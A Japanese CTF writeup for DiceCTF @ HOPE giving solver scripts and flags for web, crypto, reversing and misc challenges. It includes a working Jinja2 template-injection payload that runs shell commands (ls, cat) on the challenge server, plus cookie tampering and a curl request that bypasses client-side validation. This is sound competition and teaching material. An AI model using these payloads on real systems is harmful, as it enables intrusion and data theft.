DiceCTF @ HOPE Writeup

この大会は2022/7/23 3:00(JST)~2022/7/25 3:00(JST)に開催されました。
今回もチームで参戦。結果は2644点で412チーム中75位でした。
自分で解けた問題をWriteupとして書いておきます。

discord (misc)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

hope{a0bffd79ddaa5de3fd8ed2e60a143b08}

secure-page (web)

クッキーのadminの値をfalseからtrueに設定し、リロードすると、フラグが表示された。

hope{signatures_signatures_signatures}

reverser (web)

SSTIの問題。ただし、入力は逆順で行う必要がある。

}}4*7{{
→Output: 28


>>> '{{config.__class__.__init__.__globals__[\'os\'].popen("ls").read()}}'[::-1]
'}})(daer.)"sl"(nepop.]\'so\'[__slabolg__.__tini__.__ssalc__.gifnoc{{'

}})(daer.)"sl"(nepop.]'so'[__slabolg__.__tini__.__ssalc__.gifnoc{{
→Output: app.py flag-f5953883-3dae-4a0f-9660-d00b50ff4012.txt


>>> '{{config.__class__.__init__.__globals__[\'os\'].popen("cat flag-f5953883-3dae-4a0f-9660-d00b50ff4012.txt").read()}}'[::-1]
'}})(daer.)"txt.2104ff05b00d-0669-f0a4-ead3-3883595f-galf tac"(nepop.]\'so\'[__slabolg__.__tini__.__ssalc__.gifnoc{{'

}})(daer.)"txt.2104ff05b00d-0669-f0a4-ead3-3883595f-galf tac"(nepop.]'so'[__slabolg__.__tini__.__ssalc__.gifnoc{{
→Output: hope{cant_misuse_templates}
hope{cant_misuse_templates}

flag-viewer (web)

/flagにuser=adminでpostすれば、フラグが表示される。

$ curl https://flag-viewer.mc.ax/flag -d 'user=admin' -L

        <title>Flag Viewer</title>
        <link rel="stylesheet" href="/style.css" />
        <div class="container">
            <h1>The Flag Viewer</h1>
            <form action="/flag" method="POST">
                <input
                    type="text"
                    name="user"
                    placeholder="Username"
                    pattern="^(?!admin).*$"
                    oninvalid="this.setCustomValidity('Name not allowed!')"
                    oninput="this.setCustomValidity('')"
                />
                <input type="submit" value="Submit" />
            </form>
            <div>hope{oops_client_side_validation_again}</div>
        </div>
hope{oops_client_side_validation_again}

obp (crypto)

1バイトのXOR鍵のXOR暗号なので、フラグが"h"から始まることを前提に復号する。

#!/usr/bin/env python3
with open('output.txt', 'r') as f:
    enc = f.read().rstrip()

key = int(enc[:2], 16) ^ ord('h')

flag = ''
for i in range(0, len(enc), 2):
    flag += chr(int(enc[i:i+2], 16) ^ key)
print(flag)
hope{not_a_lot_of_keys_mdpxuqlcpmegqu}

slices (rev)

flagのスライス文字列の条件がわかるので、結合していく。

#!/usr/bin/env python3
from string import *

flag = [''] * 32

s = 'hope{'
index = 0
for i in range(5):
    flag[i] = s[index]
    index += 1

flag[-1] = '}'

s = 'i0_tnl3a0'
index = 0
for i in range(5, 32, 3):
    flag[i] = s[index]
    index += 1

s = '{0p0lsl'
index = 0
for i in range(4, 32, 4):
    flag[i] = s[index]
    index += 1

s = 'e0y_3l'
index = 0
for i in range(3, 32, 5):
    flag[i] = s[index]
    index += 1

s = '_vph_is_t'
index = 0
for i in range(6, 32, 3):
    flag[i] = s[index]
    index += 1

s = 'ley0sc_l}'
index = 0
for i in range(7, 32, 3):
    flag[i] = s[index]
    index += 1

flag = ''.join(flag)
print(flag)
hope{i_l0ve_pyth0n_slic3s_a_l0t}

orphan (misc)

$ cd .git
$ xxd -g 1 index
00000000: 44 49 52 43 00 00 00 02 00 00 00 01 62 d4 5d 25  DIRC........b.]%
00000010: 28 46 5e 64 62 d4 5d 25 28 46 5e 64 01 00 00 13  (F^db.]%(F^d....
00000020: 00 55 88 f9 00 00 81 a4 00 00 01 f5 00 00 00 14  .U..............
00000030: 00 00 00 13 8d 1d 54 23 95 c9 66 3b 57 f8 57 6d  ......T#..f;W.Wm
00000040: 2a a3 8c bb 24 2b ce 44 00 07 66 6f 6f 2e 74 78  *...$+.D..foo.tx
00000050: 74 00 00 00 54 52 45 45 00 00 00 19 00 31 20 30  t...TREE.....1 0
00000060: 0a 43 7c 87 df 63 fa 33 dd 32 a6 5d a1 91 77 df  .C|..c.3.2.]..w.
00000070: d1 1a e4 1d 39 26 d6 39 d5 6d e5 34 d6 aa 05 51  ....9&.9.m.4...Q
00000080: e9 74 30 a0 db 66 af 7a 43                       .t0..f.zC

$ python -c 'import zlib; print zlib.decompress(open("objects/8d/1d542395c9663b57f8576d2aa38cbb242bce44").read())'
blob 19nothing to see here

$ cat logs/refs/heads/main
0000000000000000000000000000000000000000 2ce03bc4ae69cd194b7680b18172641f7d56fbbf William Wang <defund@users.noreply.github.com> 1658084429 -0400	commit (initial): add foo

$ python -c 'import zlib; print zlib.decompress(open("objects/2c/e03bc4ae69cd194b7680b18172641f7d56fbbf").read())'
commit 200tree 437c87df63fa33dd32a65da19177dfd11ae41d39
author William Wang <defund@users.noreply.github.com> 1658084429 -0400
committer William Wang <defund@users.noreply.github.com> 1658084429 -0400

add foo

$ python -c 'import zlib; print zlib.decompress(open("objects/43/7c87df63fa33dd32a65da19177dfd11ae41d39").read())' | xxd -g 1
00000000: 74 72 65 65 20 33 35 00 31 30 30 36 34 34 20 66  tree 35.100644 f
00000010: 6f 6f 2e 74 78 74 00 8d 1d 54 23 95 c9 66 3b 57  oo.txt...T#..f;W
00000020: f8 57 6d 2a a3 8c bb 24 2b ce 44 0a              .Wm*...$+.D.

ここまでフラグは見つからない。他のオブジェクトも見てみる。

$ python -c 'import zlib; print zlib.decompress(open("objects/b5/3c9e6864ed176ea0192fd8283362a41d94906c").read())'
commit 201tree b5e9d6731db1921561a96a4c8e234672cf027ad9
author William Wang <defund@users.noreply.github.com> 1658084626 -0400
committer William Wang <defund@users.noreply.github.com> 1658084626 -0400

add flag

$ python -c 'import zlib; print zlib.decompress(open("objects/b5/e9d6731db1921561a96a4c8e234672cf027ad9").read())' | xxd -g 1
00000000: 74 72 65 65 20 33 36 00 31 30 30 36 34 34 20 66  tree 36.100644 f
00000010: 6c 61 67 2e 74 78 74 00 d9 27 dd f1 a7 46 59 17  lag.txt..'...FY.
00000020: 1e 47 55 a6 d4 07 c7 9a c3 81 c3 a5 0a           .GU..........

$ python -c 'import zlib; print zlib.decompress(open("objects/d9/27ddf1a74659171e4755a6d407c79ac381c3a5").read())'
blob 38hope{ba9f11ecc3497d9993b933fdc2bd61e5}
hope{ba9f11ecc3497d9993b933fdc2bd61e5}

pem (crypto)

秘密鍵がわかっているので、そのまま復号する。

#!/usr/bin/env python3
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

with open('privatekey.pem','rb') as f:
    key = RSA.importKey(f.read())

with open('encrypted.bin','rb') as f:
    enc = f.read()

cipher_rsa = PKCS1_OAEP.new(key)
flag = cipher_rsa.decrypt(enc).decode()
print(flag)
hope{crypto_more_like_rtfm_f280d8e}

sequence (rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  char *__s;
  
  iVar1 = check();
  if (iVar1 == 0) {
    puts("nope");
  }
  else {
    __s = getenv("FLAG");
    if (__s == (char *)0x0) {
      puts("no flag provided!");
    }
    else {
      puts(__s);
    }
  }
  return 0;
}

undefined8 check(void)

{
  int iVar1;
  uint uVar2;
  undefined8 uVar3;
  long in_FS_OFFSET;
  int local_2c;
  int local_28 [6];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  iVar1 = read_numbers(local_28);
  if (iVar1 == 0) {
    uVar3 = 0;
  }
  else if (local_28[0] == 0xc) {
    for (local_2c = 1; local_2c < 6; local_2c = local_2c + 1) {
      iVar1 = local_28[local_2c + -1] * 3 + 7;
      uVar2 = (uint)(iVar1 >> 0x1f) >> 0x1c;
      if (local_28[local_2c] != (iVar1 + uVar2 & 0xf) - uVar2) {
        uVar3 = 0;
        goto LAB_00101305;
      }
    }
    uVar3 = 1;
  }
  else {
    uVar3 = 0;
  }
LAB_00101305:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar3;
}

bool read_numbers(long param_1)

{
  int iVar1;
  long in_FS_OFFSET;
  char local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("input: ");
  fflush(stdout);
  fgets(local_118,0x100,stdin);
  iVar1 = __isoc99_sscanf(local_118,"%d %d %d %d %d %d",param_1,param_1 + 4,param_1 + 8,
                          param_1 + 0xc,param_1 + 0x10,param_1 + 0x14);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return iVar1 == 6;
}

このコードから以下の入力が必要なことがわかる。

・6個の数値
・1個目は12
・2個目以降は以下の条件
 ・iVar1 = [前の数値] * 3 + 7
 ・uVar2 = (iVar1 >> 0x1f) >> 0x1c
 ・(iVar1 + uVar2 & 0xf) - uVar2

この条件を満たす値を入力すると、フラグが表示される。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

nums = [12]
for i in range(1, 6):
    iVar1 = nums[i - 1] * 3 + 7
    uVar2 = (iVar1 >> 0x1f) >> 0x1c
    nums.append((iVar1 + uVar2 & 0xf) - uVar2)

ans = ' '.join(map(str, nums))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('mc.ax', 31973))

data = recvuntil(s, b': ')
print(data + ans)
s.sendall(ans.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

input: 12 11 8 15 4 3
hope{definitely_solvable_with_angr}
hope{definitely_solvable_with_angr}

check (rev)

Ghidraでデコンパイルする。

undefined8 FUN_00101189(void)

{
  byte bVar1;
  int iVar2;
  long in_FS_OFFSET;
  uint local_84;
  int local_7c;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined local_60;
  undefined uStack95;
  undefined uStack94;
  undefined uStack93;
  undefined uStack92;
  undefined uStack91;
  undefined uStack90;
  undefined uStack89;
  undefined local_58;
  undefined local_57;
  undefined local_56;
  undefined local_55;
  undefined uStack84;
  undefined local_53;
  undefined8 local_52;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined6 local_30;
  undefined2 uStack42;
  undefined6 uStack40;
  undefined8 local_22;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  uStack93 = 0xf4;
  uStack84 = 0xb8;
  local_52 = 0x6013488e4c69fc;
  local_53 = 0x69;
  local_55 = 0x8d;
  local_56 = 8;
  local_57 = 0x9f;
  local_58 = 0x8c;
  uStack89 = 0x7d;
  uStack90 = 0xb4;
  uStack91 = 0x2f;
  uStack92 = 0xab;
  uStack94 = 0xde;
  uStack95 = 0x49;
  local_60 = 0x98;
  local_68 = 0xe02ebe3508b21c5c;
  local_70 = 0xa76bc44ad120dfc8;
  local_78 = 0x581d9a7275c2ba11;
  local_84 = 0x68;
  bVar1 = 0x11;
  for (local_7c = 0; local_7c < 0x2d; local_7c = local_7c + 1) {
    *(byte *)((long)&local_78 + (long)local_7c) =
         (byte)local_84 ^ *(byte *)((long)&local_78 + (long)local_7c);
    *(byte *)((long)&local_78 + (long)local_7c) =
         bVar1 ^ *(byte *)((long)&local_78 + (long)local_7c);
    local_84 = (int)(local_84 * local_84 + 0x54) >> 3 & 0xff;
    bVar1 = bVar1 + (bVar1 * '\x02' ^ 0x54);
  }
  printf("what\'s the flag? ");
  fflush(stdout);
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  uStack42 = 0;
  uStack40 = 0;
  local_22 = 0;
  __isoc99_scanf(&DAT_00102016,&local_48);
  iVar2 = strcmp((char *)&local_48,(char *)&local_78);
  if (iVar2 == 0) {
    puts("correct!");
  }
  else {
    puts("incorrect.");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

local_84とbVar1で既定の算出方法で鍵を生成しながら、XORを取り、入力文字列と比較している。このことからフラグを割り出す。

#!/usr/bin/env python3
from struct import *

local_84 = 0x68
bVar1 = 0x11

enc = pack('Q', 0x581d9a7275c2ba11)
enc += pack('Q', 0xa76bc44ad120dfc8)
enc += pack('Q', 0xe02ebe3508b21c5c)
enc += bytes([0x98])
enc += bytes([0x49])
enc += bytes([0xde])
enc += bytes([0xf4])
enc += bytes([0xab])
enc += bytes([0x2f])
enc += bytes([0xb4])
enc += bytes([0x7d])
enc += bytes([0x8c])
enc += bytes([0x9f])
enc += bytes([8])
enc += bytes([0x8d])
enc += bytes([0xb8])
enc += bytes([0x69])
enc += pack('Q', 0x6013488e4c69fc)

flag = ''
for i in range(0x2d):
    v = enc[i] ^ local_84 ^ bVar1
    flag += chr(v)
    local_84 = (local_84 * local_84 + 0x54) >> 3 & 0xff
    bVar1 = (bVar1 + (bVar1 * 2 ^ 0x54)) & 0xff
print(flag)
hope{oops_all_flag_checkers_64961defe21b15e8}

kfb (crypto)

サーバの処理概要は以下の通り。

・k: ランダム16バイト文字列
・enc = encrypt(k, FLAG)
 ・pt: FLAGをパディング
 ・ct = b''
 ・16バイトごとのブロックで、各ブロックで以下を実行
  ・ctに kのAES-ECB暗号 ^ ブロック を結合
 ・ctを返却
・encを16進数表記で表示
・pt: 入力(hex)→hexデコード(16バイト以下)
・enc = encrypt(k, pt)
・encを16進数表記で表示

平文のパディングと暗号とのXORが同じになることから、フラグを復号する。

#!/usr/bin/env python3
import socket
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

BLOCK = AES.block_size

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('mc.ax', 31968))

data = recvuntil(s, b'\n').rstrip()
print(data)
flag_enc = bytes.fromhex(data[2:])

pt = b'\x10' * BLOCK
hex_pt = pt.hex()
data = recvuntil(s, b'< ')
print(data + hex_pt)
s.sendall(hex_pt.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
ct = bytes.fromhex(data[2:])
key = strxor(pt, ct[:BLOCK])

flag = b''
for i in range(0, len(flag_enc), BLOCK):
    flag += strxor(key, flag_enc[i:i+16])
flag = unpad(flag, BLOCK).decode()
print(flag)

実行結果は以下の通り。

> 8004493345489ea7c7bd6920f2da33ee9b1f5035557c8caac7bd753ae1d008d98d34523851548b9afafd327abfd235868d5301655b47cdf1e5c9064880b150b6
< 10101010101010101010101010101010
> f87b29462e33e8d588de115f97a647a1f87b29462e33e8d588de115f97a647a1
hope{kfb_should_stick_to_stuff_he_knows_b3358db7e883ed54}
hope{kfb_should_stick_to_stuff_he_knows_b3358db7e883ed54}

DESpicable you (crypto)

暗号化処理の概要は以下の通り。

・key: ランダム8バイト文字列
・plaintext: フラグ
・i = 0
・ct = ''
・iがplaintextの長さ未満の間、以下繰り返し
 ・ct += encipher(plaintext[i:i+len(key)],key)
  ・keyとxor
 ・i: 8プラス
 ・rekey(key) ←このままではkeyは変更できない。
・ctファイル出力

暗号は57バイト。試したところ末尾の文字は改行文字。56バイト目が"}"となると推測できる。フラグは"hope{"で始まり"}"で終わることを前提にブルートフォースで復号する。

#!/usr/bin/env python3
import string

def decipher(a, b):
    if len(a) < len(b):
        b = b[:len(a)]
    d = b''
    for i, j in zip(a, b):
        d += bytes([i ^ j])
    return d

def decrypt(key, ct):
    pt = b''
    for i in range(0, len(ct), 8):
        pt += decipher(ct[i:i+8], key)
    return pt

def check(s):
    try:
        d = s.decode().rstrip()[5:-1]
        chars = string.ascii_letters + string.digits + '_'
        for c in d:
            if c not in chars:
                return False
        return True
    except:
        return False

with open('output.txt', 'rb') as f:
    ct = f.read()

flag_head = b'hope{'
flag_tail = '}'

keys = [0] * 8
for i in range(len(flag_head)):
    keys[i] = flag_head[i] ^ ct[i]

keys[7] = ord(flag_tail) ^ ct[-2]

for k5 in range(256):
    for k6 in range(256):
        key = b''.join([bytes([k]) for k in keys[:5]]) \
            + bytes([k5]) + bytes([k6]) + bytes([keys[7]])
        flag = decrypt(key, ct)
        if check(flag):
            print(flag.decode())

実行結果は以下の通り。

hope{kaybe_1_uh0ulD_h2v3_h1R3b_4_5p3c7471st_5rgkjs3bgTh}

hope{kdybe_1_um0ulD_h2s3_h1R3bZ4_5p3c7171st_5rbkjs3bgTm}

hope{kgybe_1_un0ulD_h2p3_h1R3bY4_5p3c7271st_5rakjs3bgTn}

hope{kmybe_1_ud0ulD_h2z3_h1R3bS4_5p3c7871st_5rkkjs3bgTd}

hope{jaybe_1_th0ulD_h3v3_h1R3c_4_5p3c6471st_5sgkjs3bgUh}

hope{jdybe_1_tm0ulD_h3s3_h1R3cZ4_5p3c6171st_5sbkjs3bgUm}

hope{jgybe_1_tn0ulD_h3p3_h1R3cY4_5p3c6271st_5sakjs3bgUn}

hope{jmybe_1_td0ulD_h3z3_h1R3cS4_5p3c6871st_5skkjs3bgUd}

hope{haybe_1_vh0ulD_h1v3_h1R3a_4_5p3c4471st_5qgkjs3bgWh}

hope{hdybe_1_vm0ulD_h1s3_h1R3aZ4_5p3c4171st_5qbkjs3bgWm}

hope{hgybe_1_vn0ulD_h1p3_h1R3aY4_5p3c4271st_5qakjs3bgWn}

hope{hmybe_1_vd0ulD_h1z3_h1R3aS4_5p3c4871st_5qkkjs3bgWd}

hope{oaybe_1_qh0ulD_h6v3_h1R3f_4_5p3c3471st_5vgkjs3bgPh}

hope{odybe_1_qm0ulD_h6s3_h1R3fZ4_5p3c3171st_5vbkjs3bgPm}

hope{ogybe_1_qn0ulD_h6p3_h1R3fY4_5p3c3271st_5vakjs3bgPn}

hope{omybe_1_qd0ulD_h6z3_h1R3fS4_5p3c3871st_5vkkjs3bgPd}

hope{naybe_1_ph0ulD_h7v3_h1R3g_4_5p3c2471st_5wgkjs3bgQh}

hope{ndybe_1_pm0ulD_h7s3_h1R3gZ4_5p3c2171st_5wbkjs3bgQm}

hope{ngybe_1_pn0ulD_h7p3_h1R3gY4_5p3c2271st_5wakjs3bgQn}

hope{nmybe_1_pd0ulD_h7z3_h1R3gS4_5p3c2871st_5wkkjs3bgQd}

hope{maybe_1_sh0ulD_h4v3_h1R3d_4_5p3c1471st_5tgkjs3bgRh}★

hope{mdybe_1_sm0ulD_h4s3_h1R3dZ4_5p3c1171st_5tbkjs3bgRm}

hope{mgybe_1_sn0ulD_h4p3_h1R3dY4_5p3c1271st_5takjs3bgRn}

hope{mmybe_1_sd0ulD_h4z3_h1R3dS4_5p3c1871st_5tkkjs3bgRd}

hope{laybe_1_rh0ulD_h5v3_h1R3e_4_5p3c0471st_5ugkjs3bgSh}

hope{ldybe_1_rm0ulD_h5s3_h1R3eZ4_5p3c0171st_5ubkjs3bgSm}

hope{lgybe_1_rn0ulD_h5p3_h1R3eY4_5p3c0271st_5uakjs3bgSn}

hope{lmybe_1_rd0ulD_h5z3_h1R3eS4_5p3c0871st_5ukkjs3bgSd}
hope{maybe_1_sh0ulD_h4v3_h1R3d_4_5p3c1471st_5tgkjs3bgRh}

replacement (crypto)

暗号処理の概要は以下の通り。

・plaintext: 最終行を除きtext.txtの内容、最終行はflag
・characters: plaintextに含まれる改行文字を除く文字
・shuffled: charactersをシャッフルした文字の配列
・replacement: charactersとshuffledの対応
・plaintextをciphertextに置換
 →ciphertextをファイル出力

換字式暗号。最終行は"hope{"から始まり、"}"で終わることを使って、推測しながら少しずつ復号する。

#!/usr/bin/env python3
with open('output.txt', 'r') as f:
    ciphertext = f.read()

dic = {}
for c in ciphertext:
    if c in dic:
        dic[c] += 1
    else:
        dic[c] = 1

# data for frequency analysis
dic2 = sorted(dic.items(), key=lambda x:x[1], reverse=True)
print(dic2)

# guess
C = ' ",.ABEIMOSTV_abcdefghijklmnopqrstuvwxy{}\n'
P = 'waxr{.kjgVn_vsB"fdqp hlbtuSEAOi,cy}MoIeTm\n'

plaintext = ''.join(P[C.index(c)] for c in ciphertext)
print(plaintext)

最終的な実行結果は以下の通り。

[('g', 212), ('y', 148), ('k', 83), ('"', 81), ('w', 81), ('q', 73), ('_', 73), ('S', 72), ('i', 54), ('h', 53), ('d', 50), ('.', 40), ('s', 39), ('M', 26), ('l', 26), ('f', 25), ('c', 24), ('}', 23), ('j', 19), ('t', 18), ('V', 15), ('r', 13), ('B', 12), (' ', 12), ('b', 10), (',', 10), ('\n', 9), ('a', 6), ('o', 4), ('x', 4), ('E', 4), ('T', 4), ('n', 3), ('v', 1), ('m', 1), ('{', 1), ('O', 1), ('e', 1), ('p', 1), ('A', 1), ('I', 1), ('u', 1)]
Alice had a message to send.
"I have a message to send", she announced over the public channels. Eve, who always paid excessive attention to everything Alice said, thought that this sounded interesting, and resolved to read the message.
"I shall send it to Bob in the most convoluted way possible," expounded Alice further, "using a mixture of private and public channels as well as key information sent by trusted courier"
Eve found this talk of exceptional complication extremely intriguing. Meanwhile, Bob got himself a sandwich.
"It shall be ages yet before Alice sends me her message, for she must encode it in the most convoluted way possible. In addition, it is liable to be dull to read even once deciphered" thought Bob. "Secondly, deciphering it is going to be a headache." Therefore Bob made himself a cup of tea to go with his sandwich.

Via a complex series of disguises and the use of clever technology to sample information from allegedly secure channels, Eve recovered a fraction of the message and of the key. By applying all of her considerable intelligence and a hideous quantity of computational power, she was able to recover the plaintext, recode a message and pass it on to Bob as if nothing had happened. Only then did she actually read the plaintext.

hope{not_the_greatest_switcheroo_ibpsnxybkenalxmfndjffds}
hope{not_the_greatest_switcheroo_ibpsnxybkenalxmfndjffds}

guess (misc)

ピクセルで、RGBのLSBのXORが0の場合に黒にしていく。

#!/usr/bin/env python3
from PIL import Image

img = Image.open('output.png').convert('RGB')
w, h = img.size

output_img = Image.new('RGB', (w, h), (255, 255, 255))

for y in range(h):
    for x in range(w):
        r, g, b = img.getpixel((x, y))
        flg = (r & 1) ^ (g & 1) ^ (b & 1)
        if flg == 0:
            output_img.putpixel((x, y), (0, 0, 0))
        else:
            output_img.putpixel((x, y), (255, 255, 255))

output_img.save('flag.png')


生成した画像にフラグが書いてあった。

hope{obligatory_steno_challenge}